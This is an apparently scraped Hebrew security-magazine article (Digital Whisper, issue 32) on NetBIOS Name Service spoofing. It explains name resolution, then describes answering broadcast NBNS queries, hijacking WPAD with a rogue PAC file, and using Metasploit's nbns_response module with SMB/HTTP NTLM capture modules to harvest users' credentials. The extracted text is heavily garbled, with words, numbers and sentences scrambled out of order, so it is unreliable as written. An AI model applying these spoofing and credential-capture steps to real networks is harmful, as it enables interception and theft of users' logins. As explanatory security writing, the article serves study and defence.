12.07.2015 Views

NetBios Name Service Spoofing - Digital Whisper

NetBios Name Service Spoofing - Digital Whisper

NetBios Name Service Spoofing - Digital Whisper

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>Digital</strong> <strong>Whisper</strong>גליון 32, מאי 2022מערכת המגזין:‏מייסדים:‏מוביל הפרוייקט:‏עורכים:‏כתבים:‏אפיק קסטיאל,‏ ניר אדראפיק קסטיאלניר אדר,‏ אפיק קסטיאל,‏ שילה ספרה מלראפיק קסטיאל,‏ יוסף הרוש,‏ יאיר מוליאן.‏יש לראות בכל האמור במגזין <strong>Digital</strong> <strong>Whisper</strong> מידע כללי בלבד.‏ כל פעולה שנעשית על פי המידע והפרטים האמורים במגזיןו/או הכותבים השונים אינם אחראים בשום צורה ואופן לתוצאות השימושהינה על אחריות הקורא בלבד.‏ בשום מקרה בעלי<strong>Digital</strong> <strong>Whisper</strong><strong>Digital</strong> <strong>Whisper</strong>במידע המובא במגזין.‏ עשיית שימוש במידע המובא במגזין הינה על אחריותו של הקורא בלבד.‏פניות,‏ תגובות,‏ כתבות וכל הערה אחרת-נא לשלוח אלeditor@digitalwhisper.co.il


דבר העורכיםאח...‏ גליון32באויר סוף סוף.‏זה מפתיע אותי איך זה מפתיע אותי בכל פעם מחדש,‏ כל חודש אני רואה איך כל גליון וגליון מתבשל לובמהלך החודש,‏ ובכל זאת,‏ בכל פעם שאני מתיישב לכתוב את דברי הפתיחה,‏ ושם לב למספר הגליון,‏ אנימופתע מחדש.‏גליון 32,עם הפסקה של חודש באמצע‏)אם אתם זוכרים,‏הגליון ה-‏‎30‎פורסם באיחור של חודש(,‏מהשאומר שהגליון הראשון פורסם לפני...‏ הרבה זמן!‏ ו...‏ זהו,‏ כאן נגמרים דברי הפתיחה.‏ וכמובן,‏ לפני הכל,‏ תודה רבה לכל מי שבזכותו הגליון יצא לאור:‏תודה רבה ליאיר מוליאן,‏ תודה רבה ליוסי הרוש,‏ תודה רבה לשילה ספרה מלר ותודה רבה לתום רז.‏אפיק קסטיאל וניר אדר.‏1גליוןדבר העורכיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>נכתב ע"י אפיק קסטיאלcp77fk4r/הקדמהכאשר מדברים היום על מתקפותMan In The Middleברשתות פנימיות–ישר כולם חושבים עלARP,PoisoningMan In The Middleולא בכדי,‏ מדובר באחת המתקפות היעילות והמהירות ביותר כיום בכדי להגיע למצב שלברשתות פנים-אירגוניות.‏עם זאת,‏ חשוב מאוד לזכור כי מדובר במתקפה רועשת מאוד ועל מנת להגיע ליעילות גבוהה,‏ על התוקףלעדכן את טבלאות ה-‏ARP של הקורבן ‏)ושל היעד(‏ אחת לפרק זמן קצר מאוד ‏)על מנת שהתעבורה לאתחזור לנתיב המקורי שלה-היעד המקורי בשיחה(.‏ כמו כן,‏ ניתן יחסית בקלות לזהות אם המחשב עליואנו עובדים נמצא תחת הרעלת ,ARP גם עזרת ארסנל הכלים המובנים במערכת ההפעלה בלבד.‏כיום,‏ גם רכיבי ה-‏IPS/IDS וה-‏NAC הבסיסיים ביותר מסוגלים לאתר ולמנוע מתקפות אלו.‏ בנוסף,‏ במקריםבהם יש שימוש בטבלאותARPסטטיות,‏ בפרוטוקולים ייעודיים כגוןSARPArpNO ,ARPDefenderו-‏Arpwatch‏,‏ כמעט בלתי אפשרי לבצע מתקפה זו.‏ו-‏S-UARP או מנגנונים כמוNetBIOS <strong>Name</strong> <strong>Service</strong>במאמר זה אציג מתקפה פחות מוכרת,‏אך לא פחות יעילה,‏מתקפה בשם,<strong>Spoofing</strong>או בקיצור:‏.NBNS <strong>Spoofing</strong>לפני הכל,‏ מה זה<strong>NetBios</strong>NetBIOS‏)קיצור שלולמה זה משמש?‏)Network Basic Input/output System)LAN(לתקשר בינהם.‏ בניגוד לדעה הרווחת,‏עצמו היה משתמש בפרוטוקולים שונים כדוגמאתשלNetBIOSNPSמאפשר למחשבים שונים ברשת מקומיתאינו פרוטוקול תקשורת.‏ בתחילת דרכו,‏ השירות‏)קיצור של,(NBT NetBIOS over IPX/SPXברובן המוחלט של המערכות המודרניות ובכמעט כל משאב רשתי,‏ מתבסס על הפרוטוקולNBT.)NetBIOS over TCP/IPהמימושים הערך שלהם זהה.‏בנוסף,‏ חשוב לזכור כיNetBIOS <strong>Name</strong>אך כיום,‏‏)קיצורשונה מ-‏Hostname למרות שברוב4<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


ל-‏NetBIOS מספר תפקידים עיקריים:‏- <strong>Name</strong> serviceנועד לקבוע את שם היישות,‏ רישומה ואיתורה ברשת ‏)פורט:‏:)UDP/137•מאפשר לרשום שםNetBIOSאו קבוצתNetBIOS•מאפשר למחוק שםNetBIOSאו קבוצתNetBIOS•ליישויות ברשת.‏ליישויות ברשת.‏מאפשר לאתר יישות בעלת שם ה-‏NetBIOS ברשת ‏)מוכר גם כ-"‏Resolution .)"NetBIOS <strong>Name</strong>- Datagram distribution ו-‏service Session serviceגבי שירות ה-‏NetBIOS‏,‏ הן לתקשורות מבוססות SESSION ‏)פורט:‏כ-"‏Connectionless‏"‏ ‏)פורט:‏נועדו לאפשר תקשורת בין יישויות ברשת על)TCP/139:)UDP/138•••הן לתקשורות המוגדרותמאפשרים הקמת תקשורת מבוססת SESSION וניתוקה עם רכיב NetBIOS מרוחק ברשת.‏מאפשרים הקמת תקשורת שאינה מבוססת SESSION וניתוקה עם רכיב NetBIOS מרוחק ברשת.‏מאפשרים שליחתBroadcastלכלל יישויות ה-‏NetBIOS ברשת.‏כמו שניתן לנחש מכתורת המאמר,‏ שני השירותים שהזכרתי פחות רלוונטים כרגע,‏ ולכן לא נרחיב עליהםיתר על המידה,‏ אלא נתמקד בעיקר בשירות <strong>Name</strong> <strong>Service</strong> שמאופשר כחלק מה-‏NetBIOS‏.‏שםNetBIOSאת ה-"‏Type "Recordהבאים:‏מורכב לכל היותר מ-‏‎16‎ תווי15 ‏)או ASCIIבמערכת ההפעלה,Windows-." , | , , ? , + , ; , * , : , / , \התו ה-‏‎16‎ מייצגסוג השירות המסופק(,‏ ויכול להיות מורכב מכלל תווי ה-‏ASCII מלבד התוויםכאמור,‏ התו המסמל את ה-‏Type Recode ‏)מוכר גם כ-‏Suffix (NetBIOS מגיע כחלק משם ה-‏NetBIOS‏,‏ אךתפקידו להציג את סוג השירות המסופק תחת אותה יישות רשתית,‏ לדוגמא:‏NetBIOS Suffixמספק שירותיייצוגMaster Browser מספק תיקיות משותפות ברשתמספק שירותיDomain Controllerרשימת ה-‏Suffix NetBIOS רחבה ניתן למצוא בקישור הבא:‏ מספק שירותי Messenger <strong>Service</strong>http://www.windowsnetworking.com/kbase/windowstips/windowsnt/admintips/accounts/nbtstatrevealswhoisloggedon.html5<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


במערכת ההפעלהעל ידי יישויותWindowsקיים הכליהמאפשר לתשאל את שירותי ה-‏NetBIOS המסופקיםNbtstat –a IP_Address,NbtstatNetBIOSברשת.‏ השימוש בו הינו:‏דוגמא לפלט שהתקבל מתשאול הכתובתNode IpAddress: [10.0.0.1] Scope Id: []:10.0.0.1NetBIOS Remote Machine <strong>Name</strong> Table<strong>Name</strong> Type Status---------------------------------------------COMPUTER1 UNIQUE RegisteredCOMPUTER1 UNIQUE RegisteredWORKGROUP GROUP RegisteredWORKGROUP UNIQUE Registered..__MSBROWSE__. GROUP RegisteredMAC Address = 00-11-22-33-44-55תחת<strong>Name</strong>ותחת )Suffixניתן לראות את שם ה-‏NetBIOS של רכיב,‏ לאחר מכן את סוג השירות ‏)על ידי ה-‏ NetBIOSTypeניתן לראות את אחד מהסוגים הבאים:‏GROUP ,UNIQUEUNIQUE מסמן כי תחת אותו ה-‏<strong>Name</strong> NetBIOS קיימת רק כתובתIPGROUP מסמן כי תחת אותו ה-‏<strong>Name</strong> NetBIOS קיימות מספר כתובותאחת.‏.IPMultihomed מסמן כי תחת אותו ה-‏<strong>Name</strong> NetBIOS קיימות מספר כתובותלאותה הישות ‏)כדוגמת ישות בעלת מספר כרטיסי רשת(.‏ו-‏Multihomed‏.‏,IPאך כולן שייכות2<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


NetBIOS <strong>Name</strong> Resolutionהליך שבו המחשב מנסה לבצעמשותפת ברשת דרך:‏Resolvingלשם.NetBIOSפעולה לדוגמא היא כאשר אנו נכנסים לתיקיה\\Computer<strong>Name</strong>\Shareשירות ה-‏NetBIOS ‏"מדרדר"‏ מספר שלבי תשאול:‏תשאול טבלתתשאול קובץתשאול שרתשידורCacheזמניתLMHosts קבועWINSBroadcastתרשים כיצד מתבצע ‏"הדרדור",‏ הלקוח מהאתר של:Microsoft8<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון‏]במקור:‏]http://technet.microsoft.com/en-us/library/cc940063.aspx,32 יוני 1021


הדבר אינו מצויין בסכמה,‏ מפני שהוא לא באמת שלב בהליך ה"דרדור"‏ המוצג,‏ אך בהרבה מקרים ‏)תלויבלקוח של השירות-כדוגמאת דפדפן(,‏ כאשר אף אחד מהשלבים אינו מניב תגובה,‏ הבקשה מועברתלשרת ה-‏DNS לבדיקה האם קיימת רשומה המתאימה בטבלאות ה-‏DNS של האירגון.‏ נזכיר זאת בהמשך.‏תפקידו של ה-‏Types Node הוא לקבוע את סדר ה"דרדור"‏ לתצורת ה-‏Resolution‏:‏- B-Nodeה-‏Resolution‏.‏במידה וסוג השאילתה הוא B, שירות ה-‏NetBIOS יבצע שידורBroadcasts- P-Node‏)כגוןבמידה וסוג השאילתה הוא P, שירות ה-‏NetBIOS יבצע תשאול שלבכדי לבצע אתNetBIOS name server.)WINS- M-Nodeבמידה וסוג השאילתה הוא M, יתבצע שילוב ביןורק לאחר מכן,‏ במידה ולא חזרה תגובה,‏ יתבצע תשאול שלBו-‏P‏,‏ קודם כל יתבצע שידורBroadcast.NetBIOS name server- H-Nodeתשאול שלבמידה וסוג השאילתה הוא,Hיתבצע שילוב ביןB,NetBIOS name serverלשידור ה-‏Broadcast שירות ה-‏NetBIOS ימשיך לחפשתפסק תשדורת ה-‏Broadcastבמידה ולא נמצא אחד כזה,‏ יתבצע שידורו-‏P‏,‏ אך באופן הבא:‏ ראשית יתבצע.Broadcast,NetBIOS name serverבמקבילבמידה וימצא כזה-ויתושאל ה-‏server .NetBIOS nameהרעיון העומד מאחורי‏"דרדור"‏ברשתות קטנות אין הדבר קריטי כל כך,‏ומפריעות לתשדורות אחרות.‏ניתן להגדיר באיזהNodeהשלבים הוא לנסות למנוע כמה שיותר את תשדורת ה-‏Broadcast‏.‏אך ברשתות עצומות,‏תשדורות ה-‏Broadcastלהשתמש כברירת מחדל בעזרת שינוי/הוספה של הערך הבא:‏מעמיסותHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\<strong>Service</strong>s\netbt\Parameters\NodeType2<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


נעבור על שלבי ה-‏Resolution‏:‏תשאול טבלתCacheזמנית:‏Nbtstat –cלשירות ה-‏NetBIOS קיימת טבלתCaching מובנה.‏ניתן לגשת אליה בעזרת:‏NetBIOS Remote Cache <strong>Name</strong> Tableדוגמא לפלט:‏<strong>Name</strong> Type Host Address Life [sec]------------------------------------------------------------COMPUTER2 UNIQUE 10.0.0.2 597ניתן לאפס טבלה זו ע"י:‏לכל רשומה בטבלת ה-‏Cache יש כברירת מחדל אורך חיים שלהזמן שנשאר לכל רשומה בטבלה נמצא תחת העמודהNbtstat –R10,"Life [sec]"דקות ולאחר מכן היא נמחקת משם.‏כמו שניתן לראות בדוגמא הקודמת.‏תשאול קובץLMHosts קבוע:‏במידה ולא נמצאה רשומה המתאימה לשם ה-‏NetBIOS אודותיו אנו מעוניינים לבצעResolutionבטבלתה-‏Cache‏,‏ מנגנון ה-‏NetBIOS עובר לשלב הבא:‏ בדיקה האם קיימת רשומה בקובץ .LMHosts הקובץ נמצאבמיקום:‏הקובץ עצמו בנוי כרשומות של כתובת%windir%\system32\drivers\etc\lmhosts.samIPהאם הרשומה שייכת ל-"‏PRE‏#"‏ או ל-"‏DOM‏#".‏אל מול שם.NetBIOSבנוסף לפרטים אלו יש אפשרות להגדיררשומות המוגדרות כ-"‏PRE‏#"‏ יוכנסו באופן אוטומטי למנגנון ה-‏Cache שראינו קודם לכן.‏רשומות המוגדרות כ-"‏DOM‏#"‏ יקשרו את שם ה-‏NetBIOS כחלק מדומיין מסויים.‏תשאול שרתשרתגליון20<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.il:WINSWINS‏)קיצור של)Windows Internet <strong>Name</strong> <strong>Service</strong>,32 יוני 1021הוא סוג של שרתNetBIOS <strong>Name</strong> <strong>Service</strong>,)NBNS(המצמידה כתובותתפקידו של שרתי ה-‏NBNSהוא בדיוק כמו,DNSIPשל יישותיות רשתיות ברשת הפנים-אירגוניתרק ל-‏<strong>Name</strong>s .NetBIOS השרת מכיל טבלה‏)ולפעמים גםמחוצה לה(‏אל מולשמות ה-‏NetBIOS שלהן.‏ המטרה של שרת כזה הוא לחסוך ולהוריד את העומס הקיים ברשתות פנים-‏אירגוניות בעזרת מניעת השלב הבא ב"דרדור".‏


אם קיים שרת כזה בארגון,‏ ובמידה ומוגדר ללקוח להשתמש בו,‏ שירות ה-‏NetBIOS ינסה לבצע את שניהשלבים הקודמים,‏ במידה והוא לא יצליח בעזרת שניהם,‏ הוא יתשאל את שרת ה-‏WINS לגבי היישות.‏הדרך הפשוטה לברר האם מוגדר למחשב שרת WINS היא בעזרת הפקודה:‏מידע נוסף אודות שרתיnetsh interface ip show wins,WINSניתן למצוא בקישור הבא:‏http://technet.microsoft.com/en-us/library/bb727015.aspxשידור:Broadcastבמידה ושם ה-‏NetBIOS לא נמצא גם על ידי שרת ה-‏WINS ‏)או במידה ולא מוגדר אחד כזה(,‏ שירות ה-‏NetBIOSיתשאל את כלל ה-‏Subnet אודות היישות עליה ביקשנו לבצעResolution.Broadcastכאשר מתבצעת תשדורתBroadcastלתשאול שם,NetBIOS,Transcation IDבמידה ורכיב המריץ שירותNetBIOSבעל שם ה-‏NetBIOS אודותיו תשאלו(‏ הוא מחוייב להגיב עם אותוהיישות המתשאלת תתעלם מהתשובה.‏בעזרת תשדורתנשלח כחלק מחבילת המידע מזההמקבל את התשדורת והוא מעוניין להגיב עליה ‏)הוא,Transaction IDבמידה ולא יבצע זאת-22<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


Broadcast NetBIOS <strong>Name</strong> Resolutionכמו שראינו,‏ השלב האחרון בהליך ה-‏Resolution NetBIOS <strong>Name</strong> הינו שידור הבקשה כ-‏Broadcastברחבי הרשת.‏ בכדי להבין איך התשאול מתבצע,‏ נרים ,Wireshark תחת הפילטר:‏udp.port == 137nbtstat -a <strong>Digital</strong><strong>Whisper</strong>ונבצע:‏אם נסתכל ב-‏Wireshark‏,‏ נוכל לראות את חבילות המידע שנשלחו ל-‏‎10.0.0.255‎:)Broadcast(במבט מעמיק,‏ אפשר לראות את המחרוזת,"EEEJEHEJFEEBEMFHEIEJFDFAEFFC" אשר היא שם ה-‏NetBIOSעליו ביצענו את התשאול)<strong>Digital</strong><strong>Whisper</strong>(ב-‏UPPERCASE‏.‏21<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


וכלהתרגום המתבצע תחת שירות ה-‏NetBIOS עובד כך ‏:כל ערך ASCII של תו בשם ה-‏NetBIOS מופרד לשניD.D.)0x41מתווסף לערך האסקי של A‏)שהואלדוגמא:‏הבא:‏ ,"<strong>Digital</strong><strong>Whisper</strong>"Nibble,Nibblesביצענו תשאול לגבי שם ה-‏NetBIOSהינומ,‏ חלקים אתלשניהתו הראשון הואהערך ה-‏ASCII שלו-‏‎0x04‎‏(,‏ ומוסיפים את שניכם,‏ כל אחד ל-‏‎0x41‎‏:‏0x41+0x04 = 0x45 => ED => 0x440x41+0x04 = 0x45 => E0x04( Nibbles0x440x44I => 0x49G => 0x47I => 0x49T => 0x54A => 0x41L => 0x4CW => 0x57H => 0x48I => 0x49S => 0x53P => 0x50E => 0x4ER => 0x520x41+0x04 = 0x45 => E0x41+0x09 = 0x4A => J0x41+0x04 = 0x45 => E0x41+0x07 = 0x48 => H0x41+0x04 = 0x45 => E0x41+0x09 = 0x4A => J0x41+0x05 = 0x46 => F0x41+0x04 = 0x45 => E0x41+0x04 = 0x45 => E0x41+0x01 = 0x42 => B0x41+0x04 = 0x45 => E0x41+0x0C = 0x4D => M0x41+0x05 = 0x46 => F0x41+0x07 = 0x48 => H0x41+0x04 = 0x45 => E0x41+0x08 = 0x49 => I0x41+0x04 = 0x45 => E0x41+0x09 = 0x4A => J0x41+0x05 = 0x46 => F0x41+0x03 = 0x44 => D0x41+0x05 = 0x46 => F0x41+0x00 = 0x41 => A0x41+0x04 = 0x45 => E0x41+0x0E = 0x4F => F0x41+0x05 = 0x46 => F0x41+0x02 = 0x43 => Cמבצעים את אותו התהליך לכלל התווים במחרוזת:‏23<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון 32, יוני 1021


מפני שלא קיים רכיב רשת בעל השם,"<strong>Digital</strong><strong>Whisper</strong>"לא הוחזרה תגובה ל-‏Broadcast‏,‏ ולכן קיבלנו:‏Host not found.NetBIOSלעומת זאת,‏אם נבצע תשאול לגבי יישותשקיימת,‏לדוגמא אצלי ברשת,‏למחשב של אישתיקוראים:"ARYA-PC"nbtstat -a ARYA-PC‏)לא לפני שאבצע"nbtstat -R"בכדי לאפס את טבלת ה-‏Cache‏(,‏ נוכל לראות את שאילתת ה-‏NBSTATנשלחת מ-‏‎10.0.0.1‎ ל-‏‎10.0.0.255‎ ולאחר שלושה תשדורות,‏ מתקבלת תשובה מהכתובות:10.0.0.2בכדי להתאים את ה-‏Response NBSTATל-‏Request ,NBSTAT:NBSTAT Responseחובה שה-‏ID Transaction שמוחזר עם ה-‏24<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


יהיה תואם ל-‏ID Transaction שנשלח עם ה-‏Response :NBSTATבמידה והוא אינו מתאיםולכן יוחזר למשתמש-רכיב ה-‏NetBIOS מתעלם מהתגובה ואינו משלים את ה-‏Resolution בהצלחהfound." "Host not ‏)או שהתליך ה"דרדור"‏יגיע לשלב נוסף - פנייה לשרת ה-‏DNS‏(.‏25<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>מצוידים בכל המידע שראינו עד כה,‏ אפשר להתחיל לדבר עלאופן המתקפה מתבצע כך:‏ כאשר אנו מזהים.<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>שנשלחה כ-‏Broadcast NBSTAT Requestברשת,‏ כל שעלינולעשות הוא להרכיב בהקדם האפשרי NBSTAT Response שכולל את כתובת ה-‏IP שלנו,‏ להתאים אותה כךשה-‏ID Transaction שלה יהיה זהה לאותולמפיץ ה-‏Request לפני שמשאב הרשת המקורי ‏)במידה והוא קיים(‏ יגיב.‏Transaction ID שנשלח עם ה-‏Request NBSTAT ולשלוח אותהברוב המקרים אין סיבה לבצעResolution‏)מלבד מקרים כגון איתור מדפסת רשתית,‏ תשאול שירותלישות רשתית מבלי לבצע מולה פעולה כלשהי,‏ ולכן לרובMaster BrowserWPADתכלולאו בקשה למציאת שירותיו-‏ISATAP‏(,‏ הבקשה הבאה שנקבל מהקורבן ‏)שבטוח שאנו הישות הרשתות אותה הוא חיפש(‏Credentialsלצורך הזדהות מולנו ‏)ב-‏NTLM‏).‏ לדוגמא,‏ הזדהות לטובת קבלת הרשאות צפייהבתוכן של תיקיה רשתית אותה אנו משתפים.‏ חבר'ה כמוWesley‏)הבחור מ-‏McGrewSecurity‏(‏ וכמוTimMedinבמקרה של‏)הבחור מ-‏Packetstan‏(‏ כתבו כלים שמבצעיםNBNS <strong>Spoofing</strong>,Tim Medinו-"דגים"‏ פרטי הזדהות אלו.‏מדובר ב-‏Auxiliary ‏)נמצא ב-‏auxiliary/spoof/nbns/nbns_response‏(‏ ל-‏,Metasploit שבשילוב עם הרחבה נוספת כגון:‏או:‏מאפשר לדוג Credentials של משתמשים ברשת שעוברים דרכנו.‏auxiliary/server/capture/smbcapture/server/http_ntlmקוד מקוד:‏http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/spoof/nbns/nbns_response.rbדוגמא לשימוש:‏http://ipositivesecurity.blogspot.com/2011/04/metasploit-nbns-auxilary-ftw.htmlבמקרים בהם נרצה לבצע את המתקפה בין לקוח לבין שרתלעמודHTTPLoginלדוגמא,‏ בכדי להשיג פרטי הזדהותהקיים,‏ על השרת עלינו לא רק להפנות את המשתמש אלינו,‏ אלא ממש להגיש לו אתהפרטים על השרת,‏ זאת נעשה על ידי הקמת שרת ,Proxy שיפנה את בקשות המשתמש לשרת המקורי,‏וכך מבלי שהמשתמש יחשוד בכלום נוכל לראות את בקשות ה-‏HTTP שהוא שולח לשרת ולהשיג את פרטיההזדהות לחשבון שלו על השרת.‏22<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


ה)‏Web Proxy Auto-Discovery Hijackingבמידה ונצבע<strong>Spoofing</strong>לשרתHTTPשרת,‏ אך לא לשאר תקשורת ה-‏HTTP היוצאת מאותו לקוח לשרתיפתרון למקרים כאלו הוא ביצועהקיימת ברשת.‏ספציפי נוכל להאזין לתקשורת המתקיימת בין הלקוח לבין אותוHTTPNBNS <strong>Spoofing</strong>לישות ה-‏WPAD ‏)קיצור שלנוספים ‏)בארגון ומחוצה לו(.‏)Web Proxy AutoDiscoveryPAC מה זהוקצת על ?WPADכאשר תוכנה המוגדרת להשתמש ב-‏WPAD,WinHTTP(תקשורת עם כתובת אינטרנט,‏ מתבצע מתחת לפני השטח הליךשרת ה-‏DNS‏(‏ לישות רשתית בשםופשוט מאוד - פתיחת דפדפן כגוןכדוגמת רוב הדפדפנים בשוק(‏ מנסה ליצורResolution,"WPAD"ניתן לראות זאת באופן פשוט על ידי פתיחת‏"מדורדר"‏ עד לתשאולWireshark:Internet Explorerבמידה ואכן תימצא ישות בשם ,WPAD תשלח בקשתהקובץGETלקובץ בשם:wpad.datGET /wpad.dat HTTP/1.1,wpad.datמכיל דטנסרט לקינפוג אוטומטי של הקליינט לאיתור הפרוקסי הרלוונטי לכל גלישהוגלישה.‏ במידה והקובץ תקין,‏ תוכנת הלקוח תקנפג את עצמה ותאתר את שרת הפרוקסי הרלוונטי לכלבקשת.HTTP27<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


WPADהוא סטנדרט לקבציPACלהתחבר לרשת האינטרנט.‏ קבצי‏)קיצור שלאשר תפקידם הוא להגדיר ללקוח כיצדFindProxyForURL(url, host))Proxy Auto-ConfigPACנכתבים ב-‏JavaScript‏:‏הרעיון הוא שבעזרתהמיקום הדיפולטיבי הינו:‏WPADדוגמא לקובץ PAC סטנדרטי תראה כך:‏ניתן להגדיר לתוכנת הלקוח,‏כדוגמא הדפדפן,‏היכן ממוקם קובץ ה-‏PAC‏.‏http://wpad/wpad.datfunction FindProxyForURL(url, host){return "PROXY proxy.example.com:8080; DIRECT";}ההגדרה הנ"ל מקנפגת את תוכנת הלקוח כך שתנסה להתחבר לאינטרנט דרך שרת הפרוקסי הנמצאבכתובת "proxy.example.com" המאזין בפורט.8080אפשרות נוספת היא להשתמש בקבצי ה-‏PAC כ"דרדור"‏ בין פרוקסים:‏function FindProxyForURL(url, host){return "PROXY proxy1.example.com:8080;PROXY proxy2.example.com:8080;PROXY proxy3.example.com:8080; ";}התוכנה תנסה לצאת דרךאם יש תקלות עם השרת,‏היא תנסה לצאת דרך,proxy1.example.comproxy2.example.comוכן הלאה.‏function FindProxyForURL(url, host){if (shExpMatch(host, "*.example.com")){return "DIRECT";}דוגמא נוספת:‏}if (isInNet(host, "10.0.0.0", "255.255.248.0")){return "PROXY fastproxy.example.com:8080";}return "PROXY proxy.example.com:8080; DIRECT";הדוגמא הנ"ל מקנפגת את תוכנת הלקוח כך שתנסה לצאת ישירות כאשר היעד הינו:‏ ,*.example.comתנסה לצאת דרך הפרוקסי הנמצא ב-‏fastproxy.example.com כאשר היא מנסה לגשת לכתובות בתוך28<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


הרשת הפנים-אירגונית,‏ ולכל שאר הכתובות ‏)שהן לא ברשת הפנים-אירגונית,‏ והן לא )*.example.comהיא תנסה לצאת דרך .proxy.example.comhttp://en.wikipedia.org/wiki/Proxy_auto-configשלושת הדוגמאות לקוחות מויקיפדיה,‏ בקישור הבא:‏עד כה,‏ מדובר בתכונה שמקלה מאוד על אנשי ה-‏IT בארגון ומהווה פתרון נח למספר ארכיטקטורות רשתשונות ובעייתיות.‏ אך כמו שנראה מדובר במנגנון שניתן לנצל באופן זדוני ללא יותר מדי קשיים.‏תוכנות כמו דפדפנים,‏ מחפשות באופן דיפולטיבי את שרתי ה-‏WPAD של הארגון,‏ גם אם לא הוגדרו כאלהעל ידי צוות ה-‏IT‏.‏ מה שגורם למצב שבו הרבה מחשבים ברשת מנסים לבצעNetBIOS <strong>Name</strong> Resolutionומגיעים לשלב בו הם משדרים את הבקשה כ-‏Broadcast ברחבי רשת האירגון.‏ במידה ומשתמש זדוני,‏החבר ברשת האירגון מעוניין לנצל זאת,‏ הוא יכול להקים שרתHTTPעל מחשבו,‏ להכין מראש קובץPACזדוני שמורה לכלל תוכנות הלקוח להתחבר דרכו ‏)או דרך שרת בשליטתו שמאפשר לו לצפות בתעבורתהגולשים ואף לשנותה(,‏ ולאחר מכן לענות על שידורי ה-‏Broadcast ולבצע מתקפת<strong>NetBios</strong> <strong>Name</strong><strong>Service</strong> <strong>Spoofing</strong>על שמו של שרת ה-‏WPAD‏.‏ במקרה שכזה,‏ כל מי שיפתח את תוכנת הדפדפן וינסהלגלוש לאתר ברשת האינטרנט או האינטראנט,‏ יבצע את הגלישה דרך מחשבו/שרתו של התוקף.‏התוקף אף יכול להגדיל ולהשתמש ב-‏Strip SSL וכך להיות מודע לכלל תקשורת ה-‏HTTPS של הקורבן.‏22<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


מימוש המתקפה בעזרת Metasploitדוגמא למימוש המתקפה בעזרת,Metasploitוטעינה של:nbns_responsemsf > use auxiliary/spoof/nbns/nbns_responseכפי שצויין קודם,‏ מדובר בכלי שמאפשר לנו להאזין לכרטיס הרשת,‏ ומחכה ‏"לצוד"‏ לשידוריישויות שונות ברשת.‏ ה-‏Auxiliary הנ"ל אינו אפקטיבי לבד,‏ במידה ונצליח לצודBroadcast שלבקשת NetBIOS <strong>Name</strong>Resolutionמבלי לגרום לתוכנת הלקוח בצד השני לתת לנו מידע כגון סיסמאות,‏ אוטעם בדבר,‏ ולכן תמיד נרצה לשלב אתCookiesnbns_responseוכו'‏ אין לנועם כלים אחרים.‏ ב-‏Metasploit קיימים כליםנוספים.‏ בדוגמה הנ"ל,‏ נבחר בכלי המאפשר לנו לזייף תגובות לבקשות למשאביSMB‏)כגון תיקיותמשותפות(,‏ כך שבמידה וגורם ברשת ינסה לגשת לתיקיה רשתית,‏ נתפוס את הבקשה,‏ ונדרוש ממנו לתתלנו את פרטי ההזדהות שלו.‏ דרך נוספת יכולה להיות שילוב שללתפוס פרטי הזדהות לשרתיטעינה שלnbns_responseעםAuxiliaryTelnet ,HTTPFTP או:nbns_responseועוד.‏שיודע10<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


